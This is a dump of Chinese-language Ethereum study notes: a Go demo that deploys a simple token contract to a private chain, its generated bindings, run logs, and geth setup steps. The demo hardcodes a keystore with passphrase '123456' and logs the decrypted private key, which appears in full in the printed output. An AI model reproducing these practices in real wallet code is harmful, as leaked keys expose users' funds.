108 | const gKeystore = `{"address":"9b4eabea5d69a3c434c40f84f65282f6b4d9b232","crypto":{"cipher":"aes-128-ctr","ciphertext":"0c1a562d3a28682f28a02de89927adbacd99168e9efa48fe3ff0a85df70febac","cipherparams":{"iv":"6cdadf4f3f38af7a4aee1843198a9c00"},"kdf":"scrypt","kdfparams":{"dklen":32,"n":262144,"p":1,"r":8,"salt":"20b525e4dbfac089dd9c5c65fb873a9e530d42f47610647fe31b23f6e348f58e"},"mac":"1651c2597ccedb675f372ad49f0ad30fb5a6c604ee5bda7283e35ed3f9da3ba7"},"id":"6d3f052d-bdf7-411f-bc99-86b7e73fb6a3","version":3}`
109 |
110 | const gPassphrase = "123456"
111 |
112 | type EthToken struct {
113 | client *ethclient.Client // ethclient client instance
114 | }
115 |
116 | func NewEthToken(url string) *EthToken {
117 | ec, err := ethclient.Dial(url)
118 | if err != nil {
119 | log.Fatalf("Failed to instantiate a ethereum client: %v", err)
120 | }
121 | return &EthToken{client: ec}
122 | }
123 |
124 | func (t *EthToken) DeployToken(_tops *bind.TransactOpts, supply int64) *token.BoreyToken {
125 | _, tx, contract, err := token.DeployBoreyToken(_tops, t.client, big.NewInt(supply))
126 |
127 | if err != nil {
128 | log.Fatalf("Failed to deploy new token contract: %v", err)
129 | }
130 |
131 | log.Printf("Transaction waiting to be mined: 0x%x", tx.Hash())
132 |
133 | // 等待交易确认后记录在区块上, 获取该笔交易的信息
134 | for {
135 | r, err := t.client.TransactionReceipt(context.Background(), tx.Hash())
136 | if err == ethereum.NotFound {
137 | time.Sleep(1 * time.Second)
138 | continue
139 | }
140 |
141 | if err != nil {
142 | log.Fatalf("Failed to deploy new token contract: %v", err)
143 | }
144 |
145 | if r != nil {
146 | log.Printf("Transaction had been mined !")
147 | log.Printf("Deploy token contract successfully, contract address is : %s", r.ContractAddress.String())
148 | break
149 | }
150 | }
151 |
152 | return contract
153 | }
154 |
155 | // TransactOpts is the collection of authorization data required to create a valid Ethereum transaction.
156 | func GetAuth(_keystore string, _passphrase string) *bind.TransactOpts {
157 | key, err := keystore.DecryptKey([]byte(_keystore), _passphrase)
158 | if err != nil {
159 | log.Fatalf("Failed to decrypt key: %v", err)
160 | }
161 | // 对keystore采取对称加密解析出私钥
162 | log.Printf("decrypt keystore private key: %x", crypto.FromECDSA(key.PrivateKey))
163 | return bind.NewKeyedTransactor(key.PrivateKey)
164 | }
165 |
166 | func testDeployContract() {
167 |
168 | auth := GetAuth(gKeystore, gPassphrase)
169 | // 部署合约
170 | pEt := NewEthToken("ws://192.168.4.136:8641")
171 | contract := pEt.DeployToken(auth, 100000000)
172 | // 获取balance
173 | b, _ := contract.BalanceOf(&bind.CallOpts{}, auth.From)
174 | log.Printf("Owner: %x, balaceOf: %s", auth.From, b.String())
175 | }
176 |
177 | func main() {
178 | testDeployContract()
179 | }
180 |
181 | ```
182 |
183 | - Application log
184 | ```bash
185 | c:/go/bin/go.exe run main.go [D:/golang/gopath/src/golang.sol/demo]
186 | 2018/07/26 18:30:50 decrypt keystore private key: 0465160528ae598e77ac573be21e61a706117d0217b410510a61cbf90d66a2a5
187 | 2018/07/26 18:30:50 Transaction waiting to be mined: 0xc7e01febb8610c31cdf1592d2d3fb958cc6ca5cc26769c08c0b37afd748559b8
188 | 2018/07/26 18:31:14 Transaction had been mined !
189 | 2018/07/26 18:31:14 Deploy token contract successfully, contract address is : 0xB48e9b2993977777A0cC06D535FBB8A642029251
190 | 2018/07/26 18:31:14 Owner: 9b4eabea5d69a3c434c40f84f65282f6b4d9b232, balaceOf: 100000000
191 | 成功: 进程退出代码 0.
192 | ```
193 |
194 | - Geth log
195 | ```
196 | INFO [07-26|18:30:39] Commit new mining work number=3440 txs=0 uncles=0 elapsed=107.261µs
197 | INFO [07-26|18:30:50] Submitted contract creation fullhash=0xc7e01febb8610c31cdf1592d2d3fb958cc6ca5cc26769c08c0b37afd748559b8 contract=0xB48e9b2993977777A0cC06D535FBB8A642029251
198 | INFO [07-26|18:31:03] Successfully sealed new block number=3440 hash=cf758e…0b1d57
199 | INFO [07-26|18:31:03] 🔗 block reached canonical chain number=3435 hash=61f6ef…8fc3ff
200 | INFO [07-26|18:31:03] 🔨 mined potential block number=3440 hash=cf758e…0b1d57
201 | INFO [07-26|18:31:03] Commit new mining work number=3441 txs=1 uncles=0 elapsed=371.219µs
202 | INFO [07-26|18:31:13] Successfully sealed new block number=3441 hash=74482b…201edc
203 | INFO [07-26|18:31:13] 🔗 block reached canonical chain number=3436 hash=fd39c5…1481a1
204 | INFO [07-26|18:31:13] 🔨 mined potential block number=3441 hash=74482b…201edc
205 | INFO [07-26|18:31:13] Commit new mining work number=3442 txs=0 uncles=0 elapsed=164.888µs
206 |
207 | ```
--------------------------------------------------------------------------------
/notes/golang/golang.sol/demo/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "context"
5 | "log"
6 | "math/big"
7 | "time"
8 |
9 | "github.com/ethereum/go-ethereum"
10 | "github.com/ethereum/go-ethereum/accounts/abi/bind"
11 | "github.com/ethereum/go-ethereum/accounts/keystore"
12 | "github.com/ethereum/go-ethereum/crypto"
13 | // "github.com/ethereum/go-ethereum/common"
14 | "github.com/ethereum/go-ethereum/ethclient"
15 | "golang.sol/demo/token"
16 | )
17 |
18 | const gKeystore = `{"address":"9b4eabea5d69a3c434c40f84f65282f6b4d9b232","crypto":{"cipher":"aes-128-ctr","ciphertext":"0c1a562d3a28682f28a02de89927adbacd99168e9efa48fe3ff0a85df70febac","cipherparams":{"iv":"6cdadf4f3f38af7a4aee1843198a9c00"},"kdf":"scrypt","kdfparams":{"dklen":32,"n":262144,"p":1,"r":8,"salt":"20b525e4dbfac089dd9c5c65fb873a9e530d42f47610647fe31b23f6e348f58e"},"mac":"1651c2597ccedb675f372ad49f0ad30fb5a6c604ee5bda7283e35ed3f9da3ba7"},"id":"6d3f052d-bdf7-411f-bc99-86b7e73fb6a3","version":3}`
19 | const gKdfKeystore = `{"id": "99bc6e3f-494d-435e-acdf-8de9ca575fea", "crypto": {"cipher": "aes-128-ctr", "kdf": "pbkdf2", "kdfparams": {"prf": "hmac-sha256", "dklen": 32, "salt": "eec7d57b21d816db9cc77928b28bb9bb", "c": 1000000}, "cipherparams": {"iv": "b9235c9c5a1ded08c5a950f72b30e8e1"}, "ciphertext": "ceb1e49cbbd7322c513dc5e541899a880724f5997191b5e8b53eeee8c11c1c16", "mac": "1f6ca2bcc386ac1d4befd64ab302310fda013bbaa967582c9861f4a1ea6abb64"}, "version": 3, "address": "9b4eabea5d69a3c434c40f84f65282f6b4d9b232"}`
20 | const gPassphrase = "123456"
21 |
22 | type EthToken struct {
23 | client *ethclient.Client // ethclient client instance
24 | }
25 |
26 | func NewEthToken(url string) *EthToken {
27 | ec, err := ethclient.Dial(url)
28 | if err != nil {
29 | log.Fatalf("Failed to instantiate a ethereum client: %v", err)
30 | }
31 | return &EthToken{client: ec}
32 | }
33 |
34 | func (t *EthToken) DeployToken(_tops *bind.TransactOpts, supply int64) *token.BoreyToken {
35 | _, tx, contract, err := token.DeployBoreyToken(_tops, t.client, big.NewInt(supply))
36 | if err != nil {
37 | log.Fatalf("Failed to deploy new token contract: %v", err)
38 | }
39 |
40 | log.Printf("Transaction waiting to be mined: 0x%x", tx.Hash())
41 |
42 | for {
43 | r, err := t.client.TransactionReceipt(context.Background(), tx.Hash())
44 | if err == ethereum.NotFound {
45 | time.Sleep(1 * time.Second)
46 | continue
47 | }
48 |
49 | if err != nil {
50 | log.Fatalf("Failed to deploy new token contract: %v", err)
51 | }
52 |
53 | if r != nil {
54 | log.Printf("Transaction had been mined !")
55 | log.Printf("Deploy token contract successfully, contract address is : %s", r.ContractAddress.String())
56 | break
57 | }
58 | }
59 |
60 | return contract
61 | }
62 |
63 | // TransactOpts is the collection of authorization data required to create a valid Ethereum transaction.
64 | func GetAuth(_keystore string, _passphrase string) *bind.TransactOpts {
65 | key, err := keystore.DecryptKey([]byte(_keystore), _passphrase)
66 | if err != nil {
67 | log.Fatalf("Failed to decrypt key: %v", err)
68 | }
69 | log.Printf("decrypt keystore private key: %x", crypto.FromECDSA(key.PrivateKey))
70 | return bind.NewKeyedTransactor(key.PrivateKey)
71 | }
72 |
73 | func testDeployContract() {
74 | auth := GetAuth(gKeystore, gPassphrase)
75 | pEt := NewEthToken("ws://192.168.4.136:8641")
76 | contract := pEt.DeployToken(auth, 100000000)
77 | b, _ := contract.BalanceOf(&bind.CallOpts{}, auth.From)
78 | log.Printf("Owner: %x, balaceOf: %s", auth.From, b.String())
79 | }
80 |
81 | func main() {
82 | testDeployContract()
83 | }
84 |
--------------------------------------------------------------------------------
/notes/golang/golang.sol/demo/token/BoreyToken.sol:
--------------------------------------------------------------------------------
1 | pragma solidity ^0.4.23;
2 |
3 | contract BoreyToken {
4 | event Transfer(address indexed _from, address indexed _to, uint256 _value);
5 |
6 | address public owner;
7 | mapping (address => uint) public balanceOf;
8 |
9 | constructor(uint256 supply) public {
10 | owner = msg.sender;
11 | balanceOf[msg.sender] = supply;
12 | }
13 |
14 | function transfer(address _to, uint256 _value) public returns (bool) {
15 | require(_to != address(0));
16 | require(_value <= balanceOf[msg.sender]);
17 |
18 | balanceOf[msg.sender] = balanceOf[msg.sender] - _value;
19 | balanceOf[_to] = balanceOf[_to] + _value;
20 | emit Transfer(msg.sender, _to, _value);
21 | return true;
22 | }
23 | }
24 |
--------------------------------------------------------------------------------
/notes/golang/golang.sol/demo/token/boreytoken.go:
--------------------------------------------------------------------------------
1 | // Code generated - DO NOT EDIT.
2 | // This file is a generated binding and any manual changes will be lost.
3 |
4 | package token
5 |
6 | import (
7 | "math/big"
8 | "strings"
9 |
10 | ethereum "github.com/ethereum/go-ethereum"
11 | "github.com/ethereum/go-ethereum/accounts/abi"
12 | "github.com/ethereum/go-ethereum/accounts/abi/bind"
13 | "github.com/ethereum/go-ethereum/common"
14 | "github.com/ethereum/go-ethereum/core/types"
15 | "github.com/ethereum/go-ethereum/event"
16 | )
17 |
18 | // BoreyTokenABI is the input ABI used to generate the binding from.
19 | const BoreyTokenABI = "[{\"constant\":true,\"inputs\":[{\"name\":\"\",\"type\":\"address\"}],\"name\":\"balanceOf\",\"outputs\":[{\"name\":\"\",\"type\":\"uint256\"}],\"payable\":false,\"stateMutability\":\"view\",\"type\":\"function\"},{\"constant\":true,\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"name\":\"\",\"type\":\"address\"}],\"payable\":false,\"stateMutability\":\"view\",\"type\":\"function\"},{\"constant\":false,\"inputs\":[{\"name\":\"_to\",\"type\":\"address\"},{\"name\":\"_value\",\"type\":\"uint256\"}],\"name\":\"transfer\",\"outputs\":[{\"name\":\"\",\"type\":\"bool\"}],\"payable\":false,\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"name\":\"supply\",\"type\":\"uint256\"}],\"payable\":false,\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"name\":\"_from\",\"type\":\"address\"},{\"indexed\":true,\"name\":\"_to\",\"type\":\"address\"},{\"indexed\":false,\"name\":\"_value\",\"type\":\"uint256\"}],\"name\":\"Transfer\",\"type\":\"event\"}]"
20 |
21 | // BoreyTokenBin is the compiled bytecode used for deploying new contracts.
22 | const BoreyTokenBin = `0x608060405234801561001057600080fd5b50604051602080610287833981016040908152905160008054600160a060020a031916339081178255815260016020529190912055610233806100546000396000f3006080604052600436106100565763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166370a08231811461005b5780638da5cb5b1461009b578063a9059cbb146100d9575b600080fd5b34801561006757600080fd5b5061008973ffffffffffffffffffffffffffffffffffffffff6004351661011e565b60408051918252519081900360200190f35b3480156100a757600080fd5b506100b0610130565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b3480156100e557600080fd5b5061010a73ffffffffffffffffffffffffffffffffffffffff6004351660243561014c565b604080519115158252519081900360200190f35b60016020526000908152604090205481565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b600073ffffffffffffffffffffffffffffffffffffffff8316151561017057600080fd5b3360009081526001602052604090205482111561018c57600080fd5b3360008181526001602090815260408083208054879003905573ffffffffffffffffffffffffffffffffffffffff871680845292819020805487019055805186815290519293927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3506001929150505600a165627a7a7230582012e426d59d7877eba3a48ed53cd039ff66d4399e3b87c8a8cf2c48628e827eda0029`
23 |
24 | // DeployBoreyToken deploys a new Ethereum contract, binding an instance of BoreyToken to it.
25 | func DeployBoreyToken(auth *bind.TransactOpts, backend bind.ContractBackend, supply *big.Int) (common.Address, *types.Transaction, *BoreyToken, error) {
26 | parsed, err := abi.JSON(strings.NewReader(BoreyTokenABI))
27 | if err != nil {
28 | return common.Address{}, nil, nil, err
29 | }
30 | address, tx, contract, err := bind.DeployContract(auth, parsed, common.FromHex(BoreyTokenBin), backend, supply)
31 | if err != nil {
32 | return common.Address{}, nil, nil, err
33 | }
34 | return address, tx, &BoreyToken{BoreyTokenCaller: BoreyTokenCaller{contract: contract}, BoreyTokenTransactor: BoreyTokenTransactor{contract: contract}, BoreyTokenFilterer: BoreyTokenFilterer{contract: contract}}, nil
35 | }
36 |
37 | // BoreyToken is an auto generated Go binding around an Ethereum contract.
38 | type BoreyToken struct {
39 | BoreyTokenCaller // Read-only binding to the contract
40 | BoreyTokenTransactor // Write-only binding to the contract
41 | BoreyTokenFilterer // Log filterer for contract events
42 | }
43 |
44 | // BoreyTokenCaller is an auto generated read-only Go binding around an Ethereum contract.
45 | type BoreyTokenCaller struct {
46 | contract *bind.BoundContract // Generic contract wrapper for the low level calls
47 | }
48 |
49 | // BoreyTokenTransactor is an auto generated write-only Go binding around an Ethereum contract.
50 | type BoreyTokenTransactor struct {
51 | contract *bind.BoundContract // Generic contract wrapper for the low level calls
52 | }
53 |
54 | // BoreyTokenFilterer is an auto generated log filtering Go binding around an Ethereum contract events.
55 | type BoreyTokenFilterer struct {
56 | contract *bind.BoundContract // Generic contract wrapper for the low level calls
57 | }
58 |
59 | // BoreyTokenSession is an auto generated Go binding around an Ethereum contract,
60 | // with pre-set call and transact options.
61 | type BoreyTokenSession struct {
62 | Contract *BoreyToken // Generic contract binding to set the session for
63 | CallOpts bind.CallOpts // Call options to use throughout this session
64 | TransactOpts bind.TransactOpts // Transaction auth options to use throughout this session
65 | }
66 |
67 | // BoreyTokenCallerSession is an auto generated read-only Go binding around an Ethereum contract,
68 | // with pre-set call options.
69 | type BoreyTokenCallerSession struct {
70 | Contract *BoreyTokenCaller // Generic contract caller binding to set the session for
71 | CallOpts bind.CallOpts // Call options to use throughout this session
72 | }
73 |
74 | // BoreyTokenTransactorSession is an auto generated write-only Go binding around an Ethereum contract,
75 | // with pre-set transact options.
76 | type BoreyTokenTransactorSession struct {
77 | Contract *BoreyTokenTransactor // Generic contract transactor binding to set the session for
78 | TransactOpts bind.TransactOpts // Transaction auth options to use throughout this session
79 | }
80 |
81 | // BoreyTokenRaw is an auto generated low-level Go binding around an Ethereum contract.
82 | type BoreyTokenRaw struct {
83 | Contract *BoreyToken // Generic contract binding to access the raw methods on
84 | }
85 |
86 | // BoreyTokenCallerRaw is an auto generated low-level read-only Go binding around an Ethereum contract.
87 | type BoreyTokenCallerRaw struct {
88 | Contract *BoreyTokenCaller // Generic read-only contract binding to access the raw methods on
89 | }
90 |
91 | // BoreyTokenTransactorRaw is an auto generated low-level write-only Go binding around an Ethereum contract.
92 | type BoreyTokenTransactorRaw struct {
93 | Contract *BoreyTokenTransactor // Generic write-only contract binding to access the raw methods on
94 | }
95 |
96 | // NewBoreyToken creates a new instance of BoreyToken, bound to a specific deployed contract.
97 | func NewBoreyToken(address common.Address, backend bind.ContractBackend) (*BoreyToken, error) {
98 | contract, err := bindBoreyToken(address, backend, backend, backend)
99 | if err != nil {
100 | return nil, err
101 | }
102 | return &BoreyToken{BoreyTokenCaller: BoreyTokenCaller{contract: contract}, BoreyTokenTransactor: BoreyTokenTransactor{contract: contract}, BoreyTokenFilterer: BoreyTokenFilterer{contract: contract}}, nil
103 | }
104 |
105 | // NewBoreyTokenCaller creates a new read-only instance of BoreyToken, bound to a specific deployed contract.
106 | func NewBoreyTokenCaller(address common.Address, caller bind.ContractCaller) (*BoreyTokenCaller, error) {
107 | contract, err := bindBoreyToken(address, caller, nil, nil)
108 | if err != nil {
109 | return nil, err
110 | }
111 | return &BoreyTokenCaller{contract: contract}, nil
112 | }
113 |
114 | // NewBoreyTokenTransactor creates a new write-only instance of BoreyToken, bound to a specific deployed contract.
115 | func NewBoreyTokenTransactor(address common.Address, transactor bind.ContractTransactor) (*BoreyTokenTransactor, error) {
116 | contract, err := bindBoreyToken(address, nil, transactor, nil)
117 | if err != nil {
118 | return nil, err
119 | }
120 | return &BoreyTokenTransactor{contract: contract}, nil
121 | }
122 |
123 | // NewBoreyTokenFilterer creates a new log filterer instance of BoreyToken, bound to a specific deployed contract.
124 | func NewBoreyTokenFilterer(address common.Address, filterer bind.ContractFilterer) (*BoreyTokenFilterer, error) {
125 | contract, err := bindBoreyToken(address, nil, nil, filterer)
126 | if err != nil {
127 | return nil, err
128 | }
129 | return &BoreyTokenFilterer{contract: contract}, nil
130 | }
131 |
132 | // bindBoreyToken binds a generic wrapper to an already deployed contract.
133 | func bindBoreyToken(address common.Address, caller bind.ContractCaller, transactor bind.ContractTransactor, filterer bind.ContractFilterer) (*bind.BoundContract, error) {
134 | parsed, err := abi.JSON(strings.NewReader(BoreyTokenABI))
135 | if err != nil {
136 | return nil, err
137 | }
138 | return bind.NewBoundContract(address, parsed, caller, transactor, filterer), nil
139 | }
140 |
141 | // Call invokes the (constant) contract method with params as input values and
142 | // sets the output to result. The result type might be a single field for simple
143 | // returns, a slice of interfaces for anonymous returns and a struct for named
144 | // returns.
145 | func (_BoreyToken *BoreyTokenRaw) Call(opts *bind.CallOpts, result interface{}, method string, params ...interface{}) error {
146 | return _BoreyToken.Contract.BoreyTokenCaller.contract.Call(opts, result, method, params...)
147 | }
148 |
149 | // Transfer initiates a plain transaction to move funds to the contract, calling
150 | // its default method if one is available.
151 | func (_BoreyToken *BoreyTokenRaw) Transfer(opts *bind.TransactOpts) (*types.Transaction, error) {
152 | return _BoreyToken.Contract.BoreyTokenTransactor.contract.Transfer(opts)
153 | }
154 |
155 | // Transact invokes the (paid) contract method with params as input values.
156 | func (_BoreyToken *BoreyTokenRaw) Transact(opts *bind.TransactOpts, method string, params ...interface{}) (*types.Transaction, error) {
157 | return _BoreyToken.Contract.BoreyTokenTransactor.contract.Transact(opts, method, params...)
158 | }
159 |
160 | // Call invokes the (constant) contract method with params as input values and
161 | // sets the output to result. The result type might be a single field for simple
162 | // returns, a slice of interfaces for anonymous returns and a struct for named
163 | // returns.
164 | func (_BoreyToken *BoreyTokenCallerRaw) Call(opts *bind.CallOpts, result interface{}, method string, params ...interface{}) error {
165 | return _BoreyToken.Contract.contract.Call(opts, result, method, params...)
166 | }
167 |
168 | // Transfer initiates a plain transaction to move funds to the contract, calling
169 | // its default method if one is available.
170 | func (_BoreyToken *BoreyTokenTransactorRaw) Transfer(opts *bind.TransactOpts) (*types.Transaction, error) {
171 | return _BoreyToken.Contract.contract.Transfer(opts)
172 | }
173 |
174 | // Transact invokes the (paid) contract method with params as input values.
175 | func (_BoreyToken *BoreyTokenTransactorRaw) Transact(opts *bind.TransactOpts, method string, params ...interface{}) (*types.Transaction, error) {
176 | return _BoreyToken.Contract.contract.Transact(opts, method, params...)
177 | }
178 |
179 | // BalanceOf is a free data retrieval call binding the contract method 0x70a08231.
180 | //
181 | // Solidity: function balanceOf( address) constant returns(uint256)
182 | func (_BoreyToken *BoreyTokenCaller) BalanceOf(opts *bind.CallOpts, arg0 common.Address) (*big.Int, error) {
183 | var (
184 | ret0 = new(*big.Int)
185 | )
186 | out := ret0
187 | err := _BoreyToken.contract.Call(opts, out, "balanceOf", arg0)
188 | return *ret0, err
189 | }
190 |
191 | // BalanceOf is a free data retrieval call binding the contract method 0x70a08231.
192 | //
193 | // Solidity: function balanceOf( address) constant returns(uint256)
194 | func (_BoreyToken *BoreyTokenSession) BalanceOf(arg0 common.Address) (*big.Int, error) {
195 | return _BoreyToken.Contract.BalanceOf(&_BoreyToken.CallOpts, arg0)
196 | }
197 |
198 | // BalanceOf is a free data retrieval call binding the contract method 0x70a08231.
199 | //
200 | // Solidity: function balanceOf( address) constant returns(uint256)
201 | func (_BoreyToken *BoreyTokenCallerSession) BalanceOf(arg0 common.Address) (*big.Int, error) {
202 | return _BoreyToken.Contract.BalanceOf(&_BoreyToken.CallOpts, arg0)
203 | }
204 |
205 | // Owner is a free data retrieval call binding the contract method 0x8da5cb5b.
206 | //
207 | // Solidity: function owner() constant returns(address)
208 | func (_BoreyToken *BoreyTokenCaller) Owner(opts *bind.CallOpts) (common.Address, error) {
209 | var (
210 | ret0 = new(common.Address)
211 | )
212 | out := ret0
213 | err := _BoreyToken.contract.Call(opts, out, "owner")
214 | return *ret0, err
215 | }
216 |
217 | // Owner is a free data retrieval call binding the contract method 0x8da5cb5b.
218 | //
219 | // Solidity: function owner() constant returns(address)
220 | func (_BoreyToken *BoreyTokenSession) Owner() (common.Address, error) {
221 | return _BoreyToken.Contract.Owner(&_BoreyToken.CallOpts)
222 | }
223 |
224 | // Owner is a free data retrieval call binding the contract method 0x8da5cb5b.
225 | //
226 | // Solidity: function owner() constant returns(address)
227 | func (_BoreyToken *BoreyTokenCallerSession) Owner() (common.Address, error) {
228 | return _BoreyToken.Contract.Owner(&_BoreyToken.CallOpts)
229 | }
230 |
231 | // Transfer is a paid mutator transaction binding the contract method 0xa9059cbb.
232 | //
233 | // Solidity: function transfer(_to address, _value uint256) returns(bool)
234 | func (_BoreyToken *BoreyTokenTransactor) Transfer(opts *bind.TransactOpts, _to common.Address, _value *big.Int) (*types.Transaction, error) {
235 | return _BoreyToken.contract.Transact(opts, "transfer", _to, _value)
236 | }
237 |
238 | // Transfer is a paid mutator transaction binding the contract method 0xa9059cbb.
239 | //
240 | // Solidity: function transfer(_to address, _value uint256) returns(bool)
241 | func (_BoreyToken *BoreyTokenSession) Transfer(_to common.Address, _value *big.Int) (*types.Transaction, error) {
242 | return _BoreyToken.Contract.Transfer(&_BoreyToken.TransactOpts, _to, _value)
243 | }
244 |
245 | // Transfer is a paid mutator transaction binding the contract method 0xa9059cbb.
246 | //
247 | // Solidity: function transfer(_to address, _value uint256) returns(bool)
248 | func (_BoreyToken *BoreyTokenTransactorSession) Transfer(_to common.Address, _value *big.Int) (*types.Transaction, error) {
249 | return _BoreyToken.Contract.Transfer(&_BoreyToken.TransactOpts, _to, _value)
250 | }
251 |
252 | // BoreyTokenTransferIterator is returned from FilterTransfer and is used to iterate over the raw logs and unpacked data for Transfer events raised by the BoreyToken contract.
253 | type BoreyTokenTransferIterator struct {
254 | Event *BoreyTokenTransfer // Event containing the contract specifics and raw log
255 |
256 | contract *bind.BoundContract // Generic contract to use for unpacking event data
257 | event string // Event name to use for unpacking event data
258 |
259 | logs chan types.Log // Log channel receiving the found contract events
260 | sub ethereum.Subscription // Subscription for errors, completion and termination
261 | done bool // Whether the subscription completed delivering logs
262 | fail error // Occurred error to stop iteration
263 | }
264 |
265 | // Next advances the iterator to the subsequent event, returning whether there
266 | // are any more events found. In case of a retrieval or parsing error, false is
267 | // returned and Error() can be queried for the exact failure.
268 | func (it *BoreyTokenTransferIterator) Next() bool {
269 | // If the iterator failed, stop iterating
270 | if it.fail != nil {
271 | return false
272 | }
273 | // If the iterator completed, deliver directly whatever's available
274 | if it.done {
275 | select {
276 | case log := <-it.logs:
277 | it.Event = new(BoreyTokenTransfer)
278 | if err := it.contract.UnpackLog(it.Event, it.event, log); err != nil {
279 | it.fail = err
280 | return false
281 | }
282 | it.Event.Raw = log
283 | return true
284 |
285 | default:
286 | return false
287 | }
288 | }
289 | // Iterator still in progress, wait for either a data or an error event
290 | select {
291 | case log := <-it.logs:
292 | it.Event = new(BoreyTokenTransfer)
293 | if err := it.contract.UnpackLog(it.Event, it.event, log); err != nil {
294 | it.fail = err
295 | return false
296 | }
297 | it.Event.Raw = log
298 | return true
299 |
300 | case err := <-it.sub.Err():
301 | it.done = true
302 | it.fail = err
303 | return it.Next()
304 | }
305 | }
306 |
307 | // Error returns any retrieval or parsing error occurred during filtering.
308 | func (it *BoreyTokenTransferIterator) Error() error {
309 | return it.fail
310 | }
311 |
312 | // Close terminates the iteration process, releasing any pending underlying
313 | // resources.
314 | func (it *BoreyTokenTransferIterator) Close() error {
315 | it.sub.Unsubscribe()
316 | return nil
317 | }
318 |
319 | // BoreyTokenTransfer represents a Transfer event raised by the BoreyToken contract.
320 | type BoreyTokenTransfer struct {
321 | From common.Address
322 | To common.Address
323 | Value *big.Int
324 | Raw types.Log // Blockchain specific contextual infos
325 | }
326 |
327 | // FilterTransfer is a free log retrieval operation binding the contract event 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef.
328 | //
329 | // Solidity: e Transfer(_from indexed address, _to indexed address, _value uint256)
330 | func (_BoreyToken *BoreyTokenFilterer) FilterTransfer(opts *bind.FilterOpts, _from []common.Address, _to []common.Address) (*BoreyTokenTransferIterator, error) {
331 |
332 | var _fromRule []interface{}
333 | for _, _fromItem := range _from {
334 | _fromRule = append(_fromRule, _fromItem)
335 | }
336 | var _toRule []interface{}
337 | for _, _toItem := range _to {
338 | _toRule = append(_toRule, _toItem)
339 | }
340 |
341 | logs, sub, err := _BoreyToken.contract.FilterLogs(opts, "Transfer", _fromRule, _toRule)
342 | if err != nil {
343 | return nil, err
344 | }
345 | return &BoreyTokenTransferIterator{contract: _BoreyToken.contract, event: "Transfer", logs: logs, sub: sub}, nil
346 | }
347 |
348 | // WatchTransfer is a free log subscription operation binding the contract event 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef.
349 | //
350 | // Solidity: e Transfer(_from indexed address, _to indexed address, _value uint256)
351 | func (_BoreyToken *BoreyTokenFilterer) WatchTransfer(opts *bind.WatchOpts, sink chan<- *BoreyTokenTransfer, _from []common.Address, _to []common.Address) (event.Subscription, error) {
352 |
353 | var _fromRule []interface{}
354 | for _, _fromItem := range _from {
355 | _fromRule = append(_fromRule, _fromItem)
356 | }
357 | var _toRule []interface{}
358 | for _, _toItem := range _to {
359 | _toRule = append(_toRule, _toItem)
360 | }
361 |
362 | logs, sub, err := _BoreyToken.contract.WatchLogs(opts, "Transfer", _fromRule, _toRule)
363 | if err != nil {
364 | return nil, err
365 | }
366 | return event.NewSubscription(func(quit <-chan struct{}) error {
367 | defer sub.Unsubscribe()
368 | for {
369 | select {
370 | case log := <-logs:
371 | // New log arrived, parse the event and forward to the user
372 | event := new(BoreyTokenTransfer)
373 | if err := _BoreyToken.contract.UnpackLog(event, "Transfer", log); err != nil {
374 | return err
375 | }
376 | event.Raw = log
377 |
378 | select {
379 | case sink <- event:
380 | case err := <-sub.Err():
381 | return err
382 | case <-quit:
383 | return nil
384 | }
385 | case err := <-sub.Err():
386 | return err
387 | case <-quit:
388 | return nil
389 | }
390 | }
391 | }), nil
392 | }
393 |
--------------------------------------------------------------------------------
/notes/remix/guide.md:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhuquanbin/solidity-note/a986d269c08149f7ad303758623634aa96197c94/notes/remix/guide.md
--------------------------------------------------------------------------------
/notes/remix/install.md:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhuquanbin/solidity-note/a986d269c08149f7ad303758623634aa96197c94/notes/remix/install.md
--------------------------------------------------------------------------------
/notes/summary/README.md:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhuquanbin/solidity-note/a986d269c08149f7ad303758623634aa96197c94/notes/summary/README.md
--------------------------------------------------------------------------------
/notes/summary/geth.md:
--------------------------------------------------------------------------------
1 |
2 | ## Table of Content
3 | * [POW 部署](#Ethereum私链部署(POW))
4 | * [POA 部署](#Ethereum私链部署(POA))
5 | * [Proof-Of-Authority 介绍](./poa.md)
6 | * [supervisor 管理私链](./supervisor.md)
7 | * [MyEtherWallet 本地化部署](./myetherwallet.md)
8 |
9 |
10 | ## Ethereum私链部署(POW)
11 |
12 | - Download
13 | ```
14 | # download website 下载 Geth & Tools 最新的 release 版本
15 | https://geth.ethereum.org/downloads
16 | ```
17 |
18 | - 静态编译
19 | ```
20 | prod@ubuntu:~/ethereum/node-test$ echo $GOPATH
21 | /home/prod/go
22 |
23 | # 下载代码目录 ~/go/src/github.com/ethereum/go-ethereum
24 | go get -d github.com/ethereum/go-ethereum
25 |
26 | # checkout to stable version
27 | git fetch origin release/1.8:release/1.8
28 | git checkout release/1.8
29 |
30 | # 编译
31 | go install --ldflags '-linkmode external -extldflags "-static"' github.com/ethereum/go-ethereum/cmd/geth
32 | ```
33 |
34 | - 配置环境变量
35 | ```bash
36 | # 在 .bashrc 配置文件下添加PATH
37 | export PATH=/path/to/geth/tools/:$PATH
38 | source ~/.bashrc
39 | ```
40 |
41 | - 初始化geth账户
42 | ```bash
43 | # 创建geth数据存放目录
44 | prod@ubuntu:~/ethereum/node-test$ mkdir node
45 |
46 | # 初始化 coinbase 钱包地址 geth --datadir node/ account new
47 | prod@ubuntu:~/ethereum/node-test$ geth --datadir node/ account new
48 | INFO [06-11|14:42:15] Maximum peer count ETH=25 LES=0 total=25
49 | Your new account is locked with a password. Please give a password. Do not forget this password.
50 | Passphrase:
51 | Repeat passphrase:
52 | Address: {fbade207f880faf479f1e76b55efcdeeb303c461}
53 |
54 | ```
55 |
